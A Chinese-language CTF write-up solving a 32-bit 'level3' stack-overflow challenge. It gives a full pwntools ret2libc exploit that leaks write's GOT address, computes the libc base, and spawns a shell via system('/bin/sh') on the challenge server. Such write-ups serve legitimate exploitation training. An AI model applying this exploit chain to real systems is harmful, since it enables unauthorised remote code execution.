level3
阿新 • • 發佈:2020-12-05
題目描述:libc!libc!這次沒有system,你能幫菜雞解決這個難題麼?
題目附件:
下載下來是一個gz包,用gz -d 命令解包
然後呼叫file發現是一個tar,用tar -xf 命令解包
之後是一個level3程式,和一個libc_32.so.6
file如下:
32位ELF檔案
checksec如下:
IDA反彙編,檢視main函式:
int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; }
檢視vulnerable_function函式:
ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &buf, 0x100u); }
存在棧溢位漏洞,我們可以通過buf的溢位,使程式執行libc中的system函式,首先需要獲得libc地址
我們選擇利用已經被使用過的write函式獲得其真實地址,從而計算offset獲得libc地址
但是每次執行程式libc地址都不同,所以需要讓程式輸出完地址後返回main函式繼續執行
NOTE:32位程式呼叫函式後,第一個4位元組會是返回地址
exp如下:
from pwn import * elf = ELF('./level3') libc = ELF('./libc_32.so.6') #io = process('./level3', env = {'LD_PRELOAD': './libc_32.so.6'}) io = connect('220.249.52.133', 44239) write_plt_addr = elf.plt['write'] write_got_addr = elf.got['write'] main_addr = elf.symbols['main'] payload1 = b'a'*0x8c + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4) io.sendlineafter('Input:\n', payload1) write_addr = u32(io.recv(4)) libc.address = write_addr - libc.symbols['write'] system_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) payload2 = b'a'*0x8c + p32(system_addr) + p32(0) + p32(binsh_addr) io.sendlineafter('Input:\n', payload2) io.interactive()